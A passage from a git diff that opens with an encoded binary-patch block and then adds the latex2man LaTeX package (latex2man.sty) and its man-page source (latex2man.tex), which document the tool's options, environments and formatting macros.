zm`px&Iv?rPl9A($WriHql@`S+d6)mXh8&9j1#(nyBWG1B3XG91akUCdx;yz+@J~XM z?rywR!IN&^n4%02VT;h8gH#ARVT;g97lZ>zfn42#^isSN7*=^Fg8fl6e)ZuO7)F?U z3Bv+5Fl_Q=pqcPw2|8}%cIIx0nE~FF?*SpkIh$;wE}`H`8dyfpUb^FlT`bV^rl4-y ztyX!@J9#~*%1{B+jN4)bH^Oc10V^YadZXKqy5Nj^^j)gNdmXwVf+1uLN-6LdUYc7G z%cqdScryAt>_IR{27|_=i~7GPBo$EfcYL$3umt1=v~1$Qf7-8M;5WNGpD-Lyhe4o4?{pT!Z{N`2s55cssp(? z&3}TIgxQ4?v`W5EuY7cFhTc0YxDW5uxDO7(I`^S#LiEI{3}%&x3l()VY=}Ks1xsS* zjU@}Jf%irNDH+tL7^AY;UB{bQv=^>g*XCeFTd+Q^d>My{ABSH=HX(#idU}b0*e2Yu zfW{giTS>>Vq9g)>zt$+c)Fz~bV0Y0b2|rG1s3XlQLgCXq0>? z2T(Pwzr9O-*FubySdJaxpW5vJth}Q6twYYfgR17Ts|B&+iYh!N@Io%Zt39~v2`sM3 zTYC0}e!#_e_9{Q1CP6PtjhOJ%*bB(ss(D@BTQ^r>Z|hfB+8>o}%A&Yp2-i_^%C_## zYJC{ZP{pZ^-0`20P(7c2=zk=Y4>{mVsU$;Y^Uu`@bhANyffV%roE-nBM<(ti)1kOo zQjVr>&!2tmDCisUxseRnljO5Uzw4iT%byYX;G1FVyZ;53-Ak64?3L(R=Fv#@xx{rF zaXNh;X{Gdo;@2w=EFLi$ta$o{M+RGL9=;uO8S1^}tp^WZ>@A;}2FF=Lno>G6u~MJf zi?a8Ht|`FP$L&cfF!W-PqA7l=lQOyRuU!yg`{cowuUG1Qb&YQ03jemR*-e|I8+WhS zBtH_HwEXndn^b^@i@UpCxvjF{oyrweWh#h4XQz7FsWYyG^INoNJk zPdt1Ja%QtjheEZ5ttwwHcdNlgr5F}9JgIR2f1fgy_2|{Rb@kJqv|Hs}n3wEUfX;52 z8Km9n5&T=dTP_%cvg*6Gq2xwsYTh*`|FLVzBqawX**V(x%HGNA5E=uvEb+c8_Dbv?;~YF>oDOuGy5u%O;mLC5;)Ivdhloi(}nlPil4Dx2gbjPReylvMts^b3^+t z9YNZnjVM{2R!o%QLW@d@Q+Dk=qb1ok>?pn_>|RJQZE3deov;m$I&fkvU(C)=sVh;9 zOuA-Xp}0y{K3R`sE=XAW=uCtp#OssV*49qJ-v?^OueC=PPvPpPuQ`Rq=B!Jn5Wog% zZglB`>QmV0kOS{da8R9s^~A!^GT0jBJqSZF_LJ`=HE{FGS1mdQ7na66S1|M` zV*AV$i;m$%j~hMQSYGsIO0atP+u;DBv~-8*3O_JJ35t?)?@}NA)u^k;psI|}@J8WM zB2LJgO4?Q{R1ip*n{(WsAS`!w@Fd0MO~Ty`TG<3B!TR}t+A|VLWQsl{-bq%IAjKMd zX)ASOLv31!aV#k7XeA1Erp^csaH7gNy~;@!WkhyB9|qR}Kx))g!QK^Y4sg@e0q)BU z^e268CTAUX0}+yCViMfVv0{UAf|^g4UI15OzrGJ1#O+%AdNm>xPt&1y>FH|_VX?qy z2@%qm=0O`r>URg-oF$cvnL*JY@&Q0gnB(%IV`ioNLH zL$Vn@G0($kt8WQg_^!1MwXtyxE(g1kdHegsHuUH<8|O!?CB}=jZN6sX7PB9gHZFio zY(p)9y>VNKf>dCk!sGYs&g23Fa^{C=h@BGaP*V`Xc&>~U3K0Z*&t3Iu`|Q|Sc#o*B zqpQMnMB6SAo}7tK`)>xih%lFnALU6fVz^KuXk$lNTCG3-@Y9-_CUNZ&FU1Q0sQd$E zPzv7*0FNf)FU8(!;s25E7fsLLc1pQc6!ZKxI0Ph~Pq5Di=VFRE_ljSk4^zvoLD6GY z-3sti%USIS8K`7&x;=Ry0=;-q0c+<~lOO&*5Fvi8J-R4Au73J*L?{(Z*$SoZdx=e@ z4#HFo;v_0s67y0rs;FoT4UT519Py*kZ~VleY6DpfZ^bw^;d0V^&stAXGj*R4N2dG| z@mI4eQft#?T|Y$2HWy7*`>#_?o}Skkf5}vw#!0?6K@_Tp@N|O5ZiCNLW)rzyq~UQ5 z78h;^Z@G`m&f!f#r7Jn8m!Vu{>a)VIr@UPy&9l*%ni*6!1s7!keo;gjQQMEW2?jPR zV%S4}w`Y_fLew6m3mmypFk&$g$`BGtDX}XQ{_Z|>0|+2$)@gGmc=m=g_)#-$QIjTq zMAYg{=fxpaRW#xI?kQexs`Vx_I^#Ub*>^ zj!FB8_&@BEK;zP#Zn~3gJ1&qrW0R{*3C5g}-Nl$CL|t{bORh{8UDmvrsQmvNZzdts z-l8{C?F4@JW`25;mw$eW%Oa;)l08wqg6ssxxc?YA_~>;@MI>P9{qOJo@aKmwz(yfm zt&^%yx~Sg}Qp-74AT{sy0;!Apt~x{$54h;m{gYQw!A88Gfni$<*L~{K9d%Kcsh85! z<95b{2krUD4~WuIR^{OMBvh;~;V#|YhINFf<`9omi33Wy3k_4NOUlx?-N+$fuAPsB zUq6-@Ao(nnJ{eKucL1jePha|5gRCv7m4ILwF2*E1vO$j)T4PEqYoV}tF{Q)Fbc)?y zN;8C?7@t|yhC8Rr(RlZC@Mh-P{2wN?sEX3{v3~vTaMr=Xm=6wz;zx`=XgGsv7BT{s!+<0YYjS51ZERIlV#mo9s}l z&(%uOwbOq2)|2>yDN;)don+BLG_Lhw{IcvhbH9 zLjCHeuMq0VEpx4A9PlE}v7YhCoVO^v=U4e)tpCa+I&CG%-J{!0Nba~Ei-b{&=)X~a zrlU$le?G42&$!Y&*(&{+9y}@Rj+TYnmYaVQElAxHCMH!bWg>?@noQZOj*^y~bh^+- zi!3vJdR)^-Ep`iqF142*zC}bzY|y;f zm)EEut`*S;q{Ff85cV&do9X5#76!G`-c@a%xWt=xxe3Qf#xF{77tvwtm+{Cq%#Kpuy&k6Z3=rLkpT8HgCI>wF56nC}I} z5vKJjyY>`+H{HARa5l=0HHkrX(+%~KodTVw1?U*keV<#*it@rRIUqR-KpR$3>^uM_ zkqB?Ax@vMR^R4rlk#N)5r9wj0Z79dKw;q`GmkTtQlL7_7#)N{!xpijq_jiDsfCSAM zwKu5|277vb#8oH4a#}Je$%+Zow8mJz852A^B$q5<`DPu}-IQf;7 zHf()CqR5|^Pe`3Ywnk5G?GdNk&)U`}l1c9PDvzi^)^$Pxd3|e{Fb#6KD;Z>XR@@4s zf(f0lbt%&VIWq}?X~v$>slYGO=H~XgYBUGqoO*z6k-l)ZkNV2Ids&Zkz#!Pb$t7%n z_0b@HOQj#G;u6u>Hdi@fL~YA(n$K?6UQW(Vca>E+6fFZeJ7dc_7Ar2v0zJ}*$YQd7 zIGx%20&E6%$3dI?I>fUfq~}*{ky@~dVnuu51c@>biQxj-!qZqYm2s?)8MHd_2YAF- zRTGIluZm>uu{l$1vTNwo-jK>k7lSPILM64ayRm30^BH>7?}R1|I)LQ`vNv zY~?;Yg~m^EHmMp_f&=M0KAH~Rfk*s8qZs!h`nvzR|J~s1;Z9I9$v$!`C@4*u2yLQ`p4tFtWs3b9GxqmZ>LrEj+ z5zanokq^TupHDAib(!by?@zdn>+V#*0%PbB*`*rZYzic$bitE)ot}o)kEi%mF4@vN z^uqZzfVpUs#%z@=RsE$(oG1Og!OIXDT^iIeDc2fXXAxvd7N_$Cn~6(u7+pK)F3`X~LD-dRnEU?7Le26=KgUg60I!C!|1X=9 z46~#U;)hX>3N2KqtELyi-Q;yw_0!;RbUZrb#Y!`98cSrX5j9HQCVp{OZl9z)Ex?&k zXF$VNsYj+7Wsw6T3C7T4W@T27Oi7f`NK5BU$*kbaq*9-lyediv}9N5|iOH#!`5 zW+Tz-taF5YG!SnygX#K~6sr{rFr+*73XG!L2 zutD#NvhS1NfA9@mlxVkG?it+csvn;S4rXOm%Y`I1p>Do)p8|I8wy<%(6}9RDF<~xV ziE*Esc*P*W0d>nf?$aYpgyudLP#WkfR%g2Cai=OHr2ydCQ!Pl_OJ$GzOJ?Ai;SS=2 z>6EFEwMMiNm6Ey99kYU!Ir9(LY#+Z0?$Fb9u7C_i`|3Qsjx-4*FBL&B8tUc#ZAZ?< z6;u~(R*l5dy}!mF>VSkn1cFX5*`mdMus&k=a)EFXO0`4A>Bkj^aL?^ed8W?$U|IY7 zdy4C1FNYl=8aB()jY5{zX#=`Rwo6t{_xJC~+3}%ryW+=J$n3%CU)$U!qW&@m#CeX? zLQZgkpAi37Xt_VAO^%m)n1xk4hHjgDx5fJ{onn4 z^;TE>GmzW9X^u$3`v1QAGW&My80vO*LD9rl<1nf+y2@z5sS=rx{*w^@p$hnqlXOQX zGn<&RdCbDJxg-x*faN6uPTjiW(oUhoFk_Z@@k-RPGbx%Vu>b~_HHI`ZG6npS9Hd{= z1zKTSWkWvL3K?cT0A{uoAHYU)lHwJ(H3sQ{n3)VY_hgE$mB*1n4Th^14oZ&Od_1|! zpKVe@;SzKb6yxb%%qN6oN8*0(gQlqm3TFY%h*(9JRRH{>!9hNj#Z_cpSQyf@6)4ST z?<(3J!dH$SYw%W-jNjBsi8X!p?6faa{b_%6(7!nQ%wjM7@trQwRxjhxo6b+;(b_W@ z&=|3IaDlq_Ype6%;kSX`o4S}om4Iq_ir6O9t=T!e7#319~< z#qn<5wgh9Ibi5YH9B=Y9El+aSgl*rC7CTIfm9}WbQO++q>LkSyexXhn>g6tB=DTI> z$Jk0fsIAUsEN4SbE+#IFniW$gqXx#uDamYTETtE4ISI+QLXEwj)*hdN52!_b{<#1z z5?bKA2Q3mO-t6w&VKm?E?vCx`kqHB>pzphU@%alt|K=OkvCc1a=EOhp`6+(x|8(-< zYjUcNTI*oUu=OELvAZr+hYg7#ckL=#7_w0xb9qR0+0c;Mu+{z-_N(T9!9u(=RY4qR zrT+zWNa>?h2h4Ie4p|3_4j4WogZy^~%)g!k<_1a5XqtUgd$?_ptAN_(WQ8Y>??3$E z#ly%nz5BxhknsMqAOGX|<3E4Dw~)cmP`02Mcj1;XU71yFZj+BwC9MdQ{kvEVm<#*( zG3Si`Dd;9#9U_}uuHgueMEx-_$8a)qN&k{Z#3tA6=-*SQ2EjZq017=bbMO6qYCPp9 zeG01xmKxp+)EVhCX2KQ|a#&!Vr@N~o3CfZ;IVG~15DwD9ov?*BAwks*sDfoPB~VF> zu7v8zJ!z`9`2YU?^Lta-@BQF+_5=^+r-SjyeE8wxhmT}eNpU*jNhwk!+sE!@=K`Li z(^DK7C#}!-_qiex&I`lZ-{)pW4eQ_HKE`+YP9Nl36!n3RGx-+yN;d%c21I@5x1X1v zgcM1R1D%LWJMC_FGuB>M@0YLr^RK^&k-ycyfb-4g=CEIX`*|8Z{0a=8na5yN$$ z5ozWbb|yX$uI`W%lP+Q*8 z7Z>N}(SP4@m$kbiMhb-uo(-@d-pM@RHn;U%~qt_q%v zycp#K`5nfvCLOQqy%@nlIXMQp;zL%%*0pY4{mX?zDa-2yEm>C8>w^9lZPrsaO{;&& zvCtJO@xa6aV?$B7Yz!?8O(c6vk9h)egInSXTwQgmdMA}_=!zOXgMXaiKsHB9jt6wN zBNtS#;VQm-m+(7z5`+)W@^vB=_n0|8I#C$4*~SdiC|wPCC5bWo#VZk~xD+{*CzVWO zAAW%kN|lvuMiHo{)t!rNL{nN zt;gfhe59Vds#={10{5}BrLM5pkNEkWh6<&scj_>8P>qPQGP~RouU>|~7C8&;#-#Pa zz5g|mNVh2RkXcWZ-s&!HDGlrt4DT+jJJs~#^1Kp%pHlPn=ryVNek4-!m!G~quVk?% zc_~9O;8k9U3lY!NJJ4exf1ck9nz(QG0M+yo-Q`Ph-hN% zvb4}-BTODRxUs!OKa4AOiSJQ{Jga}LJ-V2EqtPyZ`ubf$%c_?FFKrW7$O3R>o8(V( zuJ#k|K^TK&CT8*Clh%E%Cpb;_^pW^x_JI*iltI~;`nGzDp9~Sc#k-`PJ#4E~JDyes zCO9f#qs|SK0rITG@dFwa9=HBN4r98cN!ehS+SuHd^r==Kl>_cW^0|!EpGR*<0vh!x zlIZKUEAf@??XNh<2W#7SxHj(;w>?>f2(X?g~DDHVQ=U*Asn!F~#8*4Cicw0^y%%hCXhW|{9; zE#5_b+|nw6ke|Qx_#vZwA|Qi9Y~EHkBo{Aa+=0+y`Di-s*@kO`!p$?zh^t&tE@Mfk zFWewit#gsqd5g`)S>euLsWBWRnDrb5QwU*jguW<>_AZ)TFdy0Ba-vvR%G;-Zs}$iM zxfNXQ-PgFh(2VdFPacNLVZ zPdD;~NXf>(yyd2v*Do6Rd1cLn-<-I{W72^uDa%Tx;^qqpBKPgU;XgUfeUcodQuP1$;uPLb3R>t$ zM^GBC*bxf@1}~iAS5gn-A`#Uj&N2qPaNiaWUOS^Ak;K^O8_A#Xj}cv zYcjl+Y|GcFT0{?CtrGbOYX-~D-aynZwis9z^)W%A5GgcDAcEZG3!1M_t*zp2a6s`IRLL|Es5`oWQ(+X3ieT8&BDW!9avEi>Dp7lqkQo=41$O_Na zB=R)^S$NikJxBABUw--Jjydb)B60*neiI^6a<34PNJu1L*>7TriRP}wiHD-*RCy>H zUTB!oLsvUWD?D^LQEhL^-VCOVhFUuxDS7)ANWM0lOx`r#U`mZY MAN-page (groff -man), LaTeX package +%% Author: Dr. Jrgen Vollmer, Juergen.Vollmer@acm.org +%% $Id: latex2man.sty,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ +%% VERSION: 1.19 +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% +%% `latex2man' package to use with LaTeX2e. +%% +%% Latex2man is a tool to translate UNIX manual pages written with LaTeX into a +%% format understood by the UNIX man(1)-command. +%% Alternatively HTML or TexInfo code can be produced too. +%% Output of parts of the text may be supressed using the conditional text +%% feature. +%% +%% There is LaTeX package (latex2man.sty) used for writing the Man-page +%% and a PERL script (latex2man) doing the actual translation. +%% +%% Copyright (C) 1998, Dr. Juergen Vollmer +%% Viktoriastrasse 15, D-76133 Karlsruhe, Germany +%% Juergen.Vollmer@acm.org +%% License: +%% This program can be redistributed and/or modified under the terms +%% of the LaTeX Project Public License Distributed from CTAN +%% archives in directory macros/latex/base/lppl.txt; either +%% version 1 of the License, or any later version. +%% +%% If you find this software useful, please send me a postcard. +%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +\NeedsTeXFormat{LaTeX2e} +\ProvidesPackage{latex2man}[2005/09/12 v1.19] +\usepackage{ifthen} + +\newif\if@LM@UseFancy@ +\newif\if@LM@UseFancyHdr@ + +\DeclareOption{fancy}{ + \@LM@UseFancy@true + \@LM@UseFancyHdr@false +} +\DeclareOption{fancyhdr}{ + \@LM@UseFancyHdr@true + \@LM@UseFancy@false +} +\DeclareOption{nofancy}{ + \@LM@UseFancy@false + \@LM@UseFancyHdr@false +} + +\input{latex2man.cfg} +\ProcessOptions +\if@LM@UseFancy@ + \RequirePackage{fancyheadings} +\fi +\if@LM@UseFancyHdr@ + \RequirePackage{fancyhdr} +\fi + +\newcommand{\@LM@Arg}[1]{\textit{#1}} +\newcommand{\@LM@Opt}[1]{\textbf{#1}} + +\newcommand{\Opt}[1]{\@LM@Opt{#1}} % Option +\newcommand{\Arg}[1]{\@LM@Arg{#1}} % Argument +\newcommand{\OptArg}[2]{\Opt{#1}\Arg{#2}} % Option with Argument +\newcommand{\OptoArg}[2]{\Opt{#1}[\Arg{#2}]} % Option with optinal + % Argument + +\newcommand{\oArg}[1]{[\Arg{#1}]} % optional Argument +\newcommand{\oOpt}[1]{[\Opt{#1}]} % optional Option +\newcommand{\oOptArg}[2]{[\OptArg{#1}{#2}]} % optional Option with Argument +\newcommand{\oOptoArg}[2]{[\OptoArg{#1}{#2}]} % optional Option with + % optional Argument + +\newcommand{\Prog}[1]{\textit{#1}} % Program name +\newcommand{\Cmd}[2]{\textit{#1}(#2)} % Command with number + +\newcommand{\@LM@File}[1]{\texttt{#1}} +\newcommand{\File}[1]{\@LM@File{#1}} % File name + +\newcommand{\Bs}{$\mathtt{\backslash}$} +\newcommand{\Bar}{$\mathtt{|}$} +\newcommand{\Tilde}{\ensuremath{\mathtt{\sim}}} +\newcommand{\Dots}{$\dots$} +\newcommand{\Circum}{\^{}} +\newcommand{\Lbr}{[} +\newcommand{\Rbr}{]} +\newcommand{\LBr}{\{} +\newcommand{\RBr}{\}} +\newcommand{\Dollar}{\$} +\newcommand{\Percent}{\%} +\newcommand{\Bullet}{$\bullet$} +\newcommand{\TEXbr}{~\\} +\newcommand{\MANbr}{} +\newcommand{\HTMLbr}{} +\newcommand{\TEXIbr}{} +\newcommand{\SP}{\hspace*{0.5em}} + +\def\@LM@Date{} +\newcommand{\setDate}[1]{\def\@LM@Date{#1}} +\newcommand{\Date}{\@LM@Date} + +\def\@LM@VersionWord{Version:} +\newcommand{\setVersionWord}[1]{\def\@LM@VersionWord{#1}} + +\def\@LM@Version{} +\newcommand{\setVersion}[1]{\def\@LM@Version{#1}} +\newcommand{\Version}{\@LM@Version} + +\newcommand{\Email}[1]{\texttt{#1}} +\newcommand{\URL}[1]{\texttt{#1}} +\newcommand{\LatexManEnd}{} + +\newenvironment{Name}[5]{ +% #1 Chapter +% #2 Name +% #3 Author +% #4 Tool +\if@LM@UseFancy@ +\gdef\@LM@Foot{\emph{\@LM@VersionWord\ \@LM@Version, \@LM@Date}} +\rfoot[\fancyplain{#2 (#1)}{#2 (#1)}]{\fancyplain{\@LM@Foot}{\@LM@Foot}} +\lfoot[\fancyplain{\@LM@Foot}{\@LM@Foot}]{\fancyplain{#2 (#1)}{#2 (#1)}} +\fi +\if@LM@UseFancyHdr@ +\gdef\@LM@Foot{\emph{\@LM@VersionWord\ \@LM@Version, \@LM@Date}} +\rfoot[\fancyplain{#2 (#1)}{#2 (#1)}]{\fancyplain{\@LM@Foot}{\@LM@Foot}} +\lfoot[\fancyplain{\@LM@Foot}{\@LM@Foot}]{\fancyplain{#2 (#1)}{#2 (#1)}} +\fi +\title{#5} +\author{#3} +\date{\@LM@Date\\{\small Version \@LM@Version}} +\maketitle +\begin{abstract} +}{ +\end{abstract} +} + +\newenvironment{Table}[1]{ +\par +\begin{tabular}{*#1{l}} +}{ +\end{tabular} +\par +} + +\newenvironment{Description}[1][]{ +\begin{list}{}{ + \ifthenelse{\equal{#1}{}}{ + % optional argument not given + \labelwidth\z@ \itemindent-\leftmargin + \let\makelabel\descriptionlabel + \renewcommand{\makelabel}[1]{\hspace\labelsep\normalfont\bfseries##1} + }{ + % optional argument given + \settowidth{\labelwidth}{\normalfont\bfseries#1} + \setlength{\leftmargin}{\labelwidth} + \addtolength{\leftmargin}{\labelsep} + \renewcommand{\makelabel}[1]{\normalfont\bfseries##1\hfil} + }} +}{ +\end{list} +} + +\AtBeginDocument{ +\if@LM@UseFancy@ + \pagestyle{fancyplain} +\fi +\if@LM@UseFancyHdr@ + \pagestyle{fancyplain} +\fi +\setDate{\today} +} + +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +\endinput diff --git a/docs/latex2man/latex2man.tex b/docs/latex2man/latex2man.tex new file mode 100644 index 0000000..6c3dead --- /dev/null +++ b/docs/latex2man/latex2man.tex @@ -0,0 +1,748 @@ +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% Project: Documentation Tools +%% Descr: Latex --> MAN-page (groff -man), LATEX documentation +%% Author: Dr. Jrgen Vollmer, Juergen.Vollmer@informatik-vollmer.de +%% $Id: latex2man.tex,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%% +%% Latex2man is a tool to translate UNIX manual pages written with LaTeX into a +%% format understood by the UNIX man(1)-command. +%% Alternatively HTML or TexInfo code can be produced too. +%% Output of parts of the text may be supressed using the conditional text +%% feature. +%% +%% There is LaTeX package (latex2man.sty) used for writing the Man-page +%% and a PERL script (latex2man) doing the actual translation. +%% +%% Copyright (C) 1998, Dr. Juergen Vollmer +%% Viktoriastrasse 15, D-76133 Karlsruhe, Germany +%% Juergen.Vollmer@informatik-vollmer.de +%% License: +%% This program can be redistributed and/or modified under the terms +%% of the LaTeX Project Public License Distributed from CTAN +%% archives in directory macros/latex/base/lppl.txt; either +%% version 1 of the License, or any later version. +%% +%% If you find this software useful, please send me a postcard. +%% +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +\documentclass[english]{article} +\usepackage[latin1]{inputenc} +\usepackage{babel} +\usepackage{verbatim} + +%% do we have the `hyperref package? +\IfFileExists{hyperref.sty}{ + \usepackage[bookmarksopen,bookmarksnumbered]{hyperref} +}{} + +%% do we have the `fancyhdr' package? +\IfFileExists{fancyhdr.sty}{ +\usepackage[fancyhdr]{latex2man} +}{ +%% do we have the `fancyheadings' package? +\IfFileExists{fancyheadings.sty}{ +\usepackage[fancy]{latex2man} +}{ +\usepackage[nofancy]{latex2man} +\message{no fancyhdr or fancyheadings package present, discard it} +}} + +%% do we have the `rcsinfo' package? +\IfFileExists{rcsinfo.sty}{ +\usepackage[nofancy]{rcsinfo} +\rcsInfo $Id: latex2man.tex,v 1.1.1.1 2006/10/18 16:57:05 jacka Exp $ +\setDate{\rcsInfoLongDate} +}{ +\setDate{2005/09/12} %%%% must be manually set, if rcsinfo is not present +\message{package rcsinfo not present, discard it} +} + +\setVersionWord{Version:} %%% that's the default, no need to set it. +\setVersion{1.19} + +\begin{document} + +\begin{Name}{1}{latex2man}{Dr.~J{\"u}rgen Vollmer}{Documentation Tools}{\LaTeX2man\\--\\ A Documentation Tool} + + \Prog{Latex2man} is a tool to translate UNIX manual pages written with + \LaTeX\ into a format understood by the UNIX \Cmd{man}{1}-command. + Alternatively HTML, TexInfo, or \LaTeX\ code can be produced too. + Output of parts of the text may be suppressed using the conditional text + feature (for this, LaTeX generation may be used). +\end{Name} + +\section{Synopsis} +%%%%%%%%%%%%%%%%%% + +\Prog{latex2man} \oOptArg{-t}{transfile} + \oOpt{-HMTL} \oOpt{-h} \oOpt{-V} \oOptArg{-C}{name} \TEXIbr + \oOptArg{-a}{char} + \Arg{infile} + \Arg{outfile} + +\section{Description} +%%%%%%%%%%%%%%%%%%%%% +\Prog{Latex2man} reads the file \Arg{infile} and writes \Arg{outfile}. The +input must be a \LaTeX\ document using the \Prog{latex2man} \LaTeX\ package. +\Prog{Latex2man} translates that document into the \Cmd{troff}{1} format using +the \Opt{-man} macro package. + +Using the \Opt{-H} option, HTML code can be produced, instead of +\Cmd{troff}{1}. + +Using the \Opt{-T} option, TexInfo code can be produced, instead of +\Cmd{troff}{1}. + +Using the \Opt{-M} option, \Cmd{troff}{1} input is produced. + +Using the \Opt{-L} option, \LaTeX\ ouput can be produced, instead of +\Cmd{troff}{1}. + + +\section{Options} +%%%%%%%%%%%%%%%%% +\begin{Description}[\OptArg{-t}{transfile}]\setlength{\itemsep}{0cm} +\item[\OptArg{-t}{transfile}] Translation for user defined \LaTeX\ macros. +\item[\Opt{-M}] Produce output suitable for the \Cmd{man}{1} command (default). +\item[\Opt{-H}] Instead of producing output suitable for the \Cmd{man}{1} + command, HTML code is produced (despite the name of the command). +\item[\Opt{-T}] Instead of producing output suitable for the \Cmd{man}{1} + command, TexInfo code is produced (despite the name of the command). The + generated \File{.texi}-file may be processed with \Cmd{makeinfo}{1} + (to produce an \File{.info}-file) which in turn may be installed using + \Cmd{install-info}{1}. The Info tags \verb+@dircategory+ and + \verb+@direntry+ are provided. +\item[\Opt{-L}] The \LaTeX\ source is written to the \Arg{outfile}. This is + useful in conjunction with the \OptArg{-C}{name} option. +\item[\OptArg{-C}{name}] Output the conditional text for \Arg{name}. If more + than one name should be given use quotes: \OptArg{-C}{'name1 name2 ...'}\\ + The following names are defined automatically: + \begin{itemize} + \item \Opt{-H} defines \texttt{HTML} + \item \Opt{-T} defines \texttt{TEXI} + \item \Opt{-M} defines \texttt{MAN} + \item \Opt{-L} defines \texttt{LATEX} + \end{itemize} + \item[\OptArg{-a}{char}] Is used only in conjunction with -T.\\ + Background:\\ + TexInfo ignores all blanks before the first word on a new line. In order + to produce some additional space before that word (using \Bs SP) some + character has to be printed before the additional space. By default this + is a . (dot). The \Arg{char} specifies an alternative for that first + character. Giving a blank to + \Opt{-a} supresses the indentation of a line.\\ + Note: only for the first \Bs SP of a series that \Arg{char} is printed. +\item[\Opt{-h}] Show a help text. +\item[\Opt{-V}] Show version information. +\end{Description} + +\section{Files} +%%%%%%%%%%%%%%% + +\begin{Description}\setlength{\itemsep}{0cm} +\item[\File{latex2man.tex}] The \LaTeX\ file containing this Man-page. +\item[\File{latex2man.sty}] The \LaTeX\ package defining the environments and + commands. +\item[\File{latex2man.cfg}] The configuration file for \Prog{Latex2man} + \LaTeX-package. +\item[\File{latex2man.trans}] File containing example translations of user + defined \LaTeX\ macros. +\item[\File{fancyheadings.sty}] A \LaTeX\ package used to typeset head- and + foot lines. +\item[\File{fancyhdr.sty}] A \LaTeX\ package used to typeset head- and foot + lines. +\item[\File{rcsinfo.sty}] A \LaTeX\ package used to extract and use RCS version + control information in \LaTeX\ documents. +\end{Description} + +\section{See Also} +%%%%%%%%%%%%%%%%%% + +\LaTeX, TexInfo, \Cmd{troff}{1}, \Cmd{groff}{1}, \Cmd{makeinfo}{1}. + +\section{\LaTeX\ commands} +%%%%%%%%%%%%%%%%%%%%%%%%%% + +The \LaTeX\ package \texttt{latex2man} is used to write the Man-pages with +\LaTeX. Since we translate into other text formats, not all \LaTeX\ stuff can +be translated. + +\subsection{Package Options} +%%%%%%%%%%%%%%%%%%%%%%%%%%%% +The \texttt{latex2man} package accepts the following options: + +\begin{description}\setlength{\itemsep}{0cm} +\item[fancy] use the \LaTeX\ package \texttt{fancyheadings}. +\item[fancyhdr] use the \LaTeX\ package \texttt{fancyhdr}. +\item[nofancy] neither the \LaTeX\ package \texttt{fancyheadings} nor + \texttt{fancyhdr} are used. +\end{description} + +The default option may be specified in the file \texttt{latex2man.cfg}. + +\subsection{Package Specific Environments} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +The following environments are provided by the package: +\begin{description}\setlength{\itemsep}{0cm} +\item[\Bs begin\{Name\}\{chapter\}\{name\}\{author\}\{info\}\{title\} ] The + \texttt{Name} environment takes five arguments: 1.\ the Man-page chapter, + 2.\ the name of the Man-page, 3.\ the author, 4.\ some short information + about the tool printed in the footline of the Man-page, and 5.\ a text + which is used as title, for HTML and \LaTeX\ (it's ignored for output of + the Man-page or TeXinfo. The \texttt{Name} environment must be the first + environment in the document. Processing starts with this environment. Any + text before this is ignored (exception: the \verb+setVersion+ and + \verb+setDate+ commands). (Note: all arguments of \Bs begin\{Name\} must + be written on one line). +\item[\Bs begin\{Table\}\{columns\}] The \texttt{Table} environment takes one + argument: the number of columns. + For example: + + \verb+\begin{Table}{3}+ \\ + \verb+ Here & am & I \\\hline+ \\ + \verb+ A 1 & A 2 & A 3 \\+ \\ + \verb+ B 1 & B 2 & B 3 \\+ \\ + \verb+\end{Table}+ + + will be typeset as: + + \begin{Table}{3} + Here & am & I \\\hline + A 1 & A 2 & A 3 \\ + B 1 & B 2 & B 3 \\ + \end{Table} + + \verb+\hline+ may be used. All entries are typeset left justified. If the + Man-page is formatted with \Cmd{troff}{1} and tables are used, the + \Cmd{tbl}{1} preprocessor should be called, usually by giving + a \Opt{-t} to the call of \Cmd{troff}{1}. When viewing the generated + manula page using \Cmd{man}{1}, \Cmd{tbl}{1} is called automatically. +\item[\Bs begin\{Description\}] is the same as \Bs begin\{description\} +\item[\Bs begin\{Description\}\Lbr label\Rbr] is similar to + \Bs begin\{description\}, but the item labels have at minimum the size + of the (optional) word \emph{label}. The difference is visible only + in the DVI and PDF-output, not in the troff, TexInfo or HTML output. + \begin{description} + \item[a] \Bar a \verb+\begin{description}+ + \item[ab] \Bar ab + \item[abc] \Bar abc + \end{description} + \begin{Description} + \item[a] \Bar a \verb+\begin{Description}+ + \item[ab] \Bar ab + \item[abc]\Bar abc + \end{Description} + \begin{Description}[ab] + \item[a] \Bar a \verb+\begin{Description}[aa]+ + \item[ab] \Bar ab + \item[abc] \Bar abc + \end{Description} +\end{description} + +\subsection{Accepted \LaTeX\ Environments} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +The following environments are accepted: +\begin{itemize}\setlength{\itemsep}{0cm} +\item \texttt{description} +\item \texttt{enumerate} +\item \texttt{itemize} +\item \texttt{verbatim} +\item \texttt{center} +\end{itemize} + +They may be nested: +\begin{itemize} +\item Itemize and nested center: + \begin{center} + A centered line.\\ + Another centered line. + \end{center} +\item Another item an nested enumerate + \begin{enumerate} + \item a + \item b + \end{enumerate} +\end{itemize} + + +\subsection{Package Specific Macros} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + +The following commands are provided: +\begin{description}\setlength{\itemsep}{0cm} +\item[\Bs Opt\{option\}] Option: \verb+\Opt{-o}+ will be typeset as \Opt{-o}. +\item[\Bs Arg\{argument\}] Argument: \verb+\Arg{filename}+ will be typeset as + \Arg{filename}. +\item[\Bs OptArg\{option\}\{argument\}] Option with Argument:\\ + \verb+\OptArg{-o}{filename}+ will be typeset as 